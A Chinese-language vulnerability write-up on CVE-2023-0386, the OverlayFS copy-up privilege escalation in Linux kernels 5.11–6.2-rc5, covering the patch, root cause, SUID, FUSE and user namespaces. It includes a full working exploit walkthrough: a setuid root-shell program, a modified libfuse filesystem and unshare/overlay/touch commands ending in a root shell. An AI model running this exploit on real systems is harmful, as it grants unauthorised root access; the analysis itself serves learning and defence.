CVE-2023-0386:Overlay 文件系统 copy-up 本地提权漏洞分析

news2024/11/17 19:44:18

漏洞公告

[影响范围]

Linux 内核版本:v5.11-rc1 ~ v6.2-rc5

[漏洞描述]

A flaw was found in the Linux kernel, where unauthorized access to the execution of the setuid file with capabilities was found in the Linux kernel’s OverlayFS subsystem in how a user copies a capable file from a nosuid mount into another mount. This uid mapping bug allows a local user to escalate their privileges on the system.

在 Linux 内核的 OverlayFS 子系统中,复制 nosuid 文件系统中的文件到上层 upper,并没有校验用户命名空间的映射,此 uid 映射错误允许非特权用户提权到 root,即 Linux 本地提权。

[补丁分析]

漏洞补丁 4f11ada10d0ad3fd53e2bd67806351de63a4f9c3 (建议复现完漏洞再看)

diff --git a/fs/overlayfs/copy_up.c b/fs/overlayfs/copy_up.c
index 140f2742074d4..c14e90764e356 100644
--- a/fs/overlayfs/copy_up.c
+++ b/fs/overlayfs/copy_up.c
@@ -1011,6 +1011,10 @@ static int ovl_copy_up_one(struct dentry *parent, struct dentry *dentry,
 	if (err)
 		return err;
 
+	if (!kuid_has_mapping(current_user_ns(), ctx.stat.uid) ||
+	    !kgid_has_mapping(current_user_ns(), ctx.stat.gid))
+		return -EOVERFLOW;
+
 	ctx.metacopy = ovl_need_meta_copy_up(dentry, ctx.stat.mode, flags);
 
 	if (parent) {

ovl_copy_up_one 函数主要作用是将一个文件从 lower 层(只读层)复制到 upper 层(可写层),这个过程称之为 “copy-up”。操作函数 kuid_has_mapping 用于检查指定 UID 是否是一个有效的内核映射。补丁的意思是在复制前,检查待复制的文件属主用户或者属组用户在当前用户命名空间有没有映射,如果没有,则不会进行复制操作。

[漏洞根因]

通过漏洞利用和相关补丁,可以知道漏洞根因在于 OverlayFS copy-up 操作没有判断 lower 层文件属主映射关系,从而导致本地提权。(同样建议复现完漏洞再看)

[复现环境]

下载地址:Ubuntu 21.10

root@ubuntu21:~/CVE-2023-0386# hostnamectl
  Virtualization: oracle
Operating System: Ubuntu 21.10                    
          Kernel: Linux 5.13.0-19-generic
    Architecture: x86-64
 Hardware Vendor: innotek GmbH
  Hardware Model: VirtualBox

温馨提示:此漏洞当前还存在于 Ubuntu21,但是 EOL 版本的 Ubuntu,各种镜像源已不再支持,需要使用 old-release 源,source.list 升级方式:EOLUpgrades。也就是说安装 Ubuntu21 之后,更新源的时候,直接在原先官方源的基础上,替换链接为 old-release

SUID

SUID 位即 set user ID,是文件的特殊权限(s),允许低权限用户以文件属主的身份运行该程序。在 Ubuntu 操作系统 Terminal 中,表现为“红色”文件。

在这里插入图片描述

简单示例

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

int main(void)
{
	if (setuid(0)) {
		perror("setuid");
		return -1;
	}
	if (setgid(0)) {
		perror("setgid");
		return -1;
	}
	printf("Starting root shell...\n");
	system("/bin/bash");
	return 0;
}

编译后,尝试运行此程序,发现提示权限不允许,因为 setuid 这样敏感的系统调用需要 CAP_*SETUID* 权限。

tom@Ubuntu21:~/Documents/vul$ gcc -Wall setuid.c -o mysetuid
tom@Ubuntu21:~/Documents/vul$ ./mysetuid 
setuid: Operation not permitted

可以直接使用 root 用户身份执行,也可以添加 SUID 位

tom@Ubuntu21:~/Documents/vul$ sudo chown root:root mysetuid
tom@Ubuntu21:~/Documents/vul$ sudo chmod +s mysetuid
tom@Ubuntu21:~/Documents/vul$ ll setuid
-rwsrwsr-x 1 root root 16128  615 18:25 mysetuid*

现在执行该程序

tom@Ubuntu21:~/Documents/vul$ ./mysetuid 
Starting root shell...
root@Ubuntu21:~/Documents/vul# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),133(lxd),134(sambashare),1000(tom)

普通用户可以直接获取 root 权限。也就是说,如果非特权用户能够更改文件属主为 root,并且添加 SUID 位,那么就可以达到提权的效果。 这也是 Linux 系统本地提权的一种途径。不幸的是,更改文件属主为 root 以及添加 SUID 位都需要特殊权限(例如上述 chown rootchomd +s)。有没有其他途径更改文件特权属性?答案是肯定的,这也为 Linux 提权提供了可能,FUSE 就可以帮助我们完成。

FUSE

通常来说,Linux 文件系统工作在内核态,应用程序操作文件,统一调用内核态的 VFS 层抽象接口。如果想开发一个文件系统,则需要修改内核,内核的开发调试工作耗时耗力,在这种情况下,出现了 FUSE。

在这里插入图片描述

FUSE(Filesystem in Userspace)是一种文件系统接口,允许开发者在用户空间创建文件系统。libfuse 库提供了用户空间文件系统的接口,开发者可以直接使用 libfuse 实现自己的文件系统。接下来的任务就是利用 libfusemysetuid 写入 FUSE 文件系统中,FUSE 文件系统中的文件元信息都是我们可以自定义的!这样就可以 mysetuid 权限和属主信息。

libfuse 实现文件系统

libfuse 目前有两个大版本,即 fuse2fuse3,API 变化较大,用法也不太一样,注意识别。这次我们以 fuse3 为例

# libfuse2
tom@Ubuntu21:~/Documents/vul$ sudo apt-get install libfuse-dev
# libfuse3
tom@Ubuntu21:~/Documents/vul$ sudo apt-get install libfuse3-dev fuse3

libfuse 项目提供了一些案例,例如 https://github.com/libfuse/libfuse/blob/master/example/hello.c (注意,这个案例适用于 fuse3),就可以创建 FUSE,包含文件 hello,我们稍加修改,将前一章节编译的 mysetuid 写入文件系统中

#define FUSE_USE_VERSION 31

#include <fuse.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <stddef.h>
#include <assert.h>
#include <unistd.h>

/*
 * Command line options
 *
 * We can't set default values for the char* fields here because
 * fuse_opt_parse would attempt to free() them when the user specifies
 * different values on the command line.
 */
static struct options {
	const char *filename;
	const char *contents;
	int show_help;
} options;


static void *hello_init(struct fuse_conn_info *conn,
			struct fuse_config *cfg)
{
	(void) conn;
	cfg->kernel_cache = 1;
	return NULL;
}

static int hello_getattr(const char *path, struct stat *stbuf,
			 struct fuse_file_info *fi)
{
	(void) fi;
	int res = 0;

	memset(stbuf, 0, sizeof(struct stat));
	if (strcmp(path, "/") == 0) {
		stbuf->st_mode = S_IFDIR | 0755;
		stbuf->st_nlink = 2;
	} else if (strcmp(path+1, options.filename) == 0) {
		stbuf->st_mode = S_IFREG | S_ISUID | 0777;	// setuid程序具有SUID位
		stbuf->st_nlink = 1;
		stbuf->st_size = strlen(options.contents);
	} else
		res = -ENOENT;

	return res;
}

static int hello_readdir(const char *path, void *buf, fuse_fill_dir_t filler,
			 off_t offset, struct fuse_file_info *fi,
			 enum fuse_readdir_flags flags)
{
	(void) offset;
	(void) fi;
	(void) flags;

	if (strcmp(path, "/") != 0)
		return -ENOENT;

	filler(buf, ".", NULL, 0, 0);
	filler(buf, "..", NULL, 0, 0);
	filler(buf, options.filename, NULL, 0, 0);

	return 0;
}

static int hello_open(const char *path, struct fuse_file_info *fi)
{
	if (strcmp(path+1, options.filename) != 0)
		return -ENOENT;

	if ((fi->flags & O_ACCMODE) != O_RDONLY)
		return -EACCES;

	return 0;
}

static int hello_read(const char *path, char *buf, size_t size, off_t offset,
		      struct fuse_file_info *fi)
{
	size_t len;
	(void) fi;
	if(strcmp(path+1, options.filename) != 0)
		return -ENOENT;

	len = strlen(options.contents);
	if (offset < len) {
		if (offset + size > len)
			size = len - offset;
		memcpy(buf, options.contents + offset, size);
	} else
		size = 0;

	return size;
}

static const struct fuse_operations hello_oper = {
	.init       = hello_init,
	.getattr	= hello_getattr,
	.readdir	= hello_readdir,
	.open		= hello_open,
	.read		= hello_read,
};

int main(int argc, char *argv[])
{
	char buf[0x4000];	// store setuid binary
	options.filename = strdup("mysetuid");
	int fd = open(options.filename, O_RDONLY);
	int cnt = 0;
	while (read(fd, buf+cnt, 1) > 0)
		cnt++;
	options.contents = buf;

	fuse_main(argc, argv, &hello_oper, NULL);
	return 0;
}

编译并运行

tom@Ubuntu21:~/Documents/vul$ mkdir -r workspace/fusefs
tom@Ubuntu21:~/Documents/vul$ gcc -Wall fuse.c `pkg-config fuse3 --cflags --libs` -o fuse
tom@Ubuntu21:~/Documents/vul$ ./fuse workspace/fusefs/
tom@Ubuntu21:~/Documents/vul$ cd workspace/
tom@Ubuntu21:~/Documents/vul/workspace$ ls -al fusefs/
total 4
drwxr-xr-x 2 root root    0  11  1970 .
drwxrwxr-x 3 tom  tom  4096  615 18:48 ..
-rwsrwxrwx 1 root root    7  11  1970 mysetuid

我们的 mysetuid 程序属主为 root 且被设置了 SUID 位。按照上一章节所述,现在非特权用户运行此程序是不是就有相应的 root 权限了?并不是,如下所示

tom@Ubuntu21:~/Documents/vul/workspace$ ./fusefs/mysetuid 
setuid: Operation not permitted

这是因为出于安全考虑, libfuse 挂载的 FUSE 文件系统是没有 setuid 权限的

tom@Ubuntu21:~/Documents/vul/workspace$ mount | grep fuse
fuse on /home/tom/Documents/vul/workspace/fusefs type fuse.fuse (rw,nosuid,nodev,relatime,user_id=1000,group_id=1000)

接下来就到了今天的重头戏,OverlayFS 上场了,CVE-2023-0386 漏洞就是出现在 Linux 内核 OverlayFS 特性。

OverlayFS

Overlay 文件系统是 Linux 内核虚拟文件系统,允许将多个目录层次结构合并为一个统一视图。Overlay 文件系统在只读文件系统(如操作系统镜像)上写入能力有限,因为它会将写操作重定向到另外一层。这种方式在容器、嵌入式领域得到广泛应用,因为它提供了一种轻量级、高性能的文件系统方案。感谢 @chenaotian 大佬提供的图片。

在这里插入图片描述

Overlay 文件系统结构如上所示,merge 是挂载点,也就是我们能够看到的视图,upper 和 lower 文件夹中的文件都会呈现在挂载点根目录上,以嵌入式设备路由器为例,squashfs 文件系统把 ROM 压缩到了一个文件刷进路由器,作为只读存储系统,对应 lower,而 jffs2 文件系统则是存放一些配置文件,作为可写的存储系统,对应 upper。而用户层面,进入 shell,看到的文件系统是它们的整合,也就是 merge。

在这里插入图片描述

如果我们想修改只读文件系统的文件(因为用户视图看到的是 merge,他并不知道哪写是可读可写的),Overlay 文件系统会自动将其复制到 Upper 层,再进行修改。copy up 会将 lower 层文件的元信息,也就是所有文件属性复制到 upper 层。试想一下,上一章节 FUSE 文件系统存放的 mysuid 二进制,被整合到 Overlay 文件系统,当我们想修改用户视图的 merge 中的 mysuid(实际存放在 lower),则会触发内核 copy up 动作。这样就实现了将 FUSE 文件系统的特权应用复制到普通用户目录。

创建 Overlay 文件系统

tom@Ubuntu21:~/Documents/vul/workspace$ mkdir upper work merge
tom@Ubuntu21:~/Documents/vul/workspace$ ls
fusefs  merge  upper  work

挂载

tom@Ubuntu21:~/Documents/vul/workspace$ mount overlay -t overlay -o lowerdir=fusefs,upperdir=upper,workdir=work merge
mount: /home/tom/Documents/vul/workspace/merge: must be superuser to use mount.

挂载也需要权限?OMG…😃 ,如何解决?这时候就需要用户命名空间来解决了。什么是命名空间?见下一章节。

创建用户命名空间

tom@Ubuntu21:~/Documents/vul/workspace$ unshare -Urm
root@Ubuntu21:~/Documents/vul/workspace# ls
fusefs  merge  upper  work
root@Ubuntu21:~/Documents/vul/workspace# mount overlay -t overlay -o lowerdir=fusefs,upperdir=upper,workdir=work merge
root@Ubuntu21:~/Documents/vul/workspace# tree
.
├── fusefs	#lower
│   └── mysetuid
├── merge	#mount point
│   └── mysetuid
├── upper
└── work
    └── work

挂载 Overlay 文件系统后,请注意,此时我们在新建的用户命名空间中,直接运行 mysetuid 是没有效果的,挂载点 merge 下存放的 mysetuid 在我们退出命名空间以后,是不会存在的,mount 只在当前命名空间有效。

在当前新建命名空间中,输入 touch 命令,就会触发复制到 upper 层的操作,修改 Overlay 文件任何元信息都会触发 copy up 操作,即使是 touch已经存在的文件,也会修改文件的访问时间。

root@Ubuntu21:~/Documents/vul/workspace# touch ./merge/mysetuid 
root@Ubuntu21:~/Documents/vul/workspace# tree
.
├── fusefs
│   └── mysetuid
├── merge
│   └── mysetuid
├── upper
│   └── mysetuid
└── work
    └── work

5 directories, 3 files

退出当前命名空间,运行已经被复制到 upper 目录的 mysetuid, 成功提权到 root

tom@Ubuntu21:~/Documents/vul/workspace$ tree
.
├── fusefs
│   └── mysetuid
├── merge
├── upper
│   └── mysetuid
└── work
    └── work [error opening dir]

5 directories, 2 files
tom@Ubuntu21:~/Documents/vul/workspace$ ./upper/mysetuid 
Starting root shell...
root@Ubuntu21:~/Documents/vul/workspace# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),133(lxd),134(sambashare),1000(tom)

命名空间

什么是命名空间?

在 Linux 中,命名空间(namespaces)是一种内核特性,用于实现资源隔离。通过命名空间,可以使一组进程看起来好像它们在独立的系统环境中运行,从而提高系统的安全性和可管理性。命名空间在容器技术(如 Docker)中起着关键作用,它们使得容器能够在隔离的环境中运行,而不会影响其他容器或主系统。

Linux 内核支持7种命名空间(mount、pid、net、ipc、user、time、cgroup),每种命名空间都隔离了一类特定的系统资源。命名空间通过一系列系统调用(如clone、**unshare**和setns)进行创建、修改和管理。容器运行时(如 Docker)和其他虚拟化工具会利用这些命名空间特性,为容器提供独立、隔离的运行环境。

user 命名空间

用户命名空间用于隔离 UID 和 GID,从而为进程提供独立的用户空间,可以将单个用户或者用户组权限限制在一个特定的命名空间内。用户命名空间关键特性是 ID 映射

在这里插入图片描述

例如,可以为 Docker 守护进程创建一个单独的用户命名空间,每个容器中的视图(即新创建的用户命名空间)认为 uid 就是 root 权限,实际 uid=0 会被映射到宿主机(即原先的用户命名空间)随机一个自定义的 UID,这样容器进程的 root 权限只在容器内生效,而无法获取宿主机的 root 权限。

头一次接触命名空间还是有点抽象,我们还是以一个简单案例来说明,unshare 命令提供了创建命名空间的能力,如下

tom@Ubuntu21:~/Documents/vul/workspace$ unshare --user -r /bin/bash
root@Ubuntu21:~/Documents/vul/workspace# id
uid=0(root) gid=0(root) groups=0(root),65534(nogroup)

我们创建了一个用户命名空间的进程 /bin/bash-r 参数将当前用户 tom 映射到新命名空间的 root,在新命名空间的 shell 里,尽管看起来我们获取了 root 权限,但是你可以理解为这是在容器内,实际上退出命名空间就失效了。

总结一下

  • 同一个用户在不同命名空间中的 UID/GID 不同
  • 创建新命名空间的用户,在新命名空间中可以被映射为 root
  • 其他用户如果想手动映射到命名空间内,需要修改 /proc/[pid]/uid_map,这个操作通常需要初始命名空间的 root 权限
  • 没有映射的用户会被识别为 nobody

mount 命名空间

mount 命名空间用于隔离不同的文件系统,它可以让一个进程拥有文件系统挂载能力,但是挂载的文件系统只在此 mount 命名空间内有效。这样就实现了文件系统的隔离。

回到上一章节的内容,unshare -Urm 命令,省略了当前 /bin/bash 进程,其实就是创建一个新的具有 mount 权限的用户命名空间,这样就让我们拥有了 mount 能力。

总结

SUID 、文件系统挂载都是我们常见的提权方式,复现 CVE-2023-0386 可以让我们更好的认识 Linux 本地提权的途径,更好的了解 Linux 安全特性。再回到漏洞本身, 总结一下 CVE-2023-0386 利用的流程:① 创建 FUSE 文件系统,libfuse 允许我们以普通权限修改文件系统内任意文件属性,但是此文件系统被挂载为 nosuid;② 创建新的用户命名空间,允许我们在当前命名空间内挂载文件系统,利用 Overlay 文件系统的漏洞,将 libfuse 提权文件复制到 upper 层。

参考文献

  • GitHub - xkaneiki/CVE-2023-0386: CVE-2023-0386在ubuntu22.04上的提权
  • GitHub - chenaotian/CVE-2023-0386: CVE-2023-0386 analysis and Exp
  • The OverlayFS vulnerability CVE-2023-0386: Overview, detection, and remediation | Datadog Security Labs (datadoghq.com)
  • 容器安全之启用用户命名空间(user namespace)_51CTO博客_启用用户命令

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/654803.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【备战秋招】每日一题:5月13日美团春招第二题:题面+题目思路 + C++/python/js/Go/java带注释

为了更好的阅读体检&#xff0c;可以查看我的算法学习博客第二题-南北对决 https://codefun2000.com/p/P1138 在线评测链接:P1287 题目描述 南派北派武林大会开始了。本次攻擂赛有 n 名武者参加&#xff0c;其中按顺序第 i 名武者获得战斗力属性为 i 。每名武者分来自南派或…

Opencv-C++笔记 (8) : opencv-颜色模型与转换

文章目录 一、RGB颜色模型二、YUV颜色模型三、 HSV(HSB)颜色模型四、LAB颜色模型五、GRAY颜色模型六、CMYK颜色模式七、GRAY模型八、不同颜色的转换 一、RGB颜色模型 前面对于RGB颜色模型已经有所介绍&#xff0c;该模型的命名方式是采用三种颜色的英文首字母组成&#xff0c;分…

java【抽象类与接口】

抽象类与接口 1 抽象类1.1 定义与使用1.2 抽象类和抽象方法使用原则 2 接口2.1 定义2.2 使用规则 3. JDK中内置接口3.1 Comparable接口3.2 Cloneable接口 抽象类与接口的对比 前言&#xff1a;如果强制要求子类必须覆写一些方法&#xff0c;则就会用到抽象类和抽象方法 1 抽象类…

【备战秋招】每日一题:4月29日美团春招第四题:题面+题目思路 + C++/python/js/Go/java带注释

为了更好的阅读体检&#xff0c;为了更好的阅读体检&#xff0c;&#xff0c;可以查看我的算法学习博客第四题-SSTF算法 在线评测链接:P1269 题目内容 塔子哥是一名磁盘维修师&#xff0c;他的工作是检查和修复损坏的磁盘。为了提高工作效率&#xff0c;他使用了一种最短服务…

SpringBoot解决跨域的问题

产生跨域问题的原因是浏览器的同源策略&#xff0c;所谓同源是指&#xff1a;域名&#xff0c;协议&#xff0c;端口相同。如果不同&#xff0c;将会出现跨域问题。 一、创建项目 创建两个项目&#xff0c;一个命名为provider提供服务&#xff0c;一个命名为consumer消费服务…

Apifox详细讲解!大大提升了协作效率

目录 一、前言 1.1. 场景一、后端视角&#xff1a; 1.2. 场景二、前端视角&#xff1a; 1.3. 场景三、测试视角&#xff1a; 二、Apifox 2.1 场景一、后端视角&#xff1a; 2.2 场景二、前端视角&#xff1a; 2.3 场景三、测试视角&#xff1a; 三、总结 一、前言 工…

游泳时用什么耳机听歌好?推荐四款音质很不错的游泳耳机

对平常人来说&#xff0c;游泳是个非常好的辅助运动。对身体机能没有太大伤害&#xff0c;还能锻炼到身体大部分的肌肉&#xff0c;对心肺也非常有帮助。随着夏天的到来各大游泳馆甚至是海边都是挤满了人&#xff0c;游泳时候如果还想听歌怎么办&#xff1f;耳机之所以很少听到…

手机远程控制电脑教程,让你随时随地掌控自己的电脑!

为什么我们需要从手机远程控制电脑&#xff1f; 随着远程访问工具的出现&#xff0c;如Windows内置功能远程桌面、Chrome远程桌面等&#xff0c;让我们可以轻松的远程控制另一台电脑&#xff0c;这使得工作和学习更加便捷和高效。 然而&#xff0c;有些人可能会遇…

java 整合opc读取

参考链接 opc 介绍 软件 参考链接 创建opc ua 连接错误 参考连接 前置条件 下载 KEPServer V6 测试 参考连接有地址&#xff0c;这里摘抄下 项目使用KEPServer V6&#xff08;427M&#xff0c;中文&#xff09;&#xff1a;百度网盘 &#xff0c;密码: ykj2软件操作 下载…

聊聊Systemverilog中的function in constraints

有些情况下&#xff0c;constraint不能简单用一行来表达&#xff0c;而是需要复杂的计算&#xff0c;如果都写到constraint block内部就比较复杂&#xff0c;而且很乱&#xff0c;这时候可以调用functions来约束随机变量。在constraint内调用function就称为”function in const…

【剑指offer刷题记录 java版】数组双指针 之 滑动窗口

本系列文章记录labuladong的算法小抄中剑指offer题目 【剑指offer刷题记录 java版】数组双指针 之 滑动窗口 剑指 Offer 48. 最长不含重复字符的子字符串剑指 Offer II 014. 字符串中的变位词剑指 Offer II 015. 字符串中的所有变位词剑指 Offer II 016. 不含重复字符的最长子字…

应用程序监控

什么是应用程序监控 应用程序监控是一项基本功能&#xff0c;可以实时分析关键业务应用程序的前端和后端性能。应用程序监控通过提供有关应用程序可用性、性能和最终用户体验的宝贵见解&#xff0c;在确保应用程序不间断运行方面发挥着至关重要的作用。主动监控应用程序有助于…

Spark SQL数据源的基本操作

文章目录 一、基本操作二、默认数据源&#xff08;一&#xff09;默认数据源Parquet&#xff08;二&#xff09;案例演示读取Parquet文件1、在Spark Shell中演示练习1、将student.txt文件转换成student.parquet练习2、读取student.parquet文件得到学生数据帧&#xff0c;并显示…

MQ消息传递方式

发布订阅模式 发布订阅模式有点类似于我们日常生活中订阅报纸。每年到年尾的时候&#xff0c;邮局就会发一本报纸集合让我们来选择订阅哪一个。在这个表里头列了所有出版发行的报纸&#xff0c;那么对于我们每一个订阅者来说&#xff0c;我们可以选择一份或者多份报纸。比如北…

ESP32(MicroPython) 矩阵键盘电子琴+RGB灯

本程序相比上一个矩阵键盘电子琴程序增加了一个矩阵键盘&#xff0c;并把三个矩阵键盘的同一行相连&#xff0c;扫描周期缩短到40ms。增加RGB灯带&#xff0c;每个周期刷新一个灯&#xff08;随机颜色&#xff09;。 代码如下 #导入Pin模块 from machine import Pin import t…

Django rest framework基本知识

使用pycharm生成Django项目后&#xff0c;会生成工程目录和app目录 工程目录下5个文件&#xff0c;settings.py是全局配置相关的 urls.py是路有相关的 app相关的目录 models.py 数据库ORM对应的模型类 serializers.py 序列化与反序列化处理 views.py 根据request进行…

线性神经网络

线性神经网络 我们应该从线性神经网络开始&#xff0c;去逐步了解深度神经网络&#xff08;深度学习&#xff09;的各种复杂结构和底层原理。 1. 线性回归 用一个线性的模型来拟合数据与它们的标签之间的映射&#xff0c;用于回归问题。 1.1 构造线性模型&#xff1a; y ω…

Fiddler Orchestra用户指南:打造高效协同调试利器

引言&#xff1a;今天Fiddler更新到5.0版本后&#xff0c;小酋不经意间晃到了“Fiddler Orchestra”选项卡。爱折腾的小酋赶紧链接到官方用户指南一睹为快&#xff0c;看看这是什么东西&#xff0c;实现了什么新功能。下面是小酋看后做的一个翻译抢先版。 这是了解和设置Fiddl…

i5 3470+XSB75M-PK+HD 7750安装黑苹果macOS Big Sur 11.7.7

我本次使用的是 HD 7750 进行安装黑苹果&#xff08;闲鱼80元买的&#xff09;&#xff0c;这款显卡直接就是免驱&#xff0c;最高可以安装的版本是 macOS Monterey &#xff0c;但是建议安装至 macOS Big Sur 以获得较好的体验。 EFI&#xff08;OC引导&#xff09; EFI.zip …

RabbitMQ高阶使用队列实现

目录 1 从打车开始说起1.1 需要解决的问题1.1.1 打车排队 2 排队人数2.1 需求2.1.1 需求分析 2.2 实现方案2.2.1 MySQL2.2.1.1 入队2.2.1.2 获取进度2.2.1.3 遇到问题 2.2.3 Redis Zset 2.3 排队人数架构介绍2.4 数据结构2.4.2 zset结构2.4.1 雪花算法 2.5 功能实现2.5.1 派单2…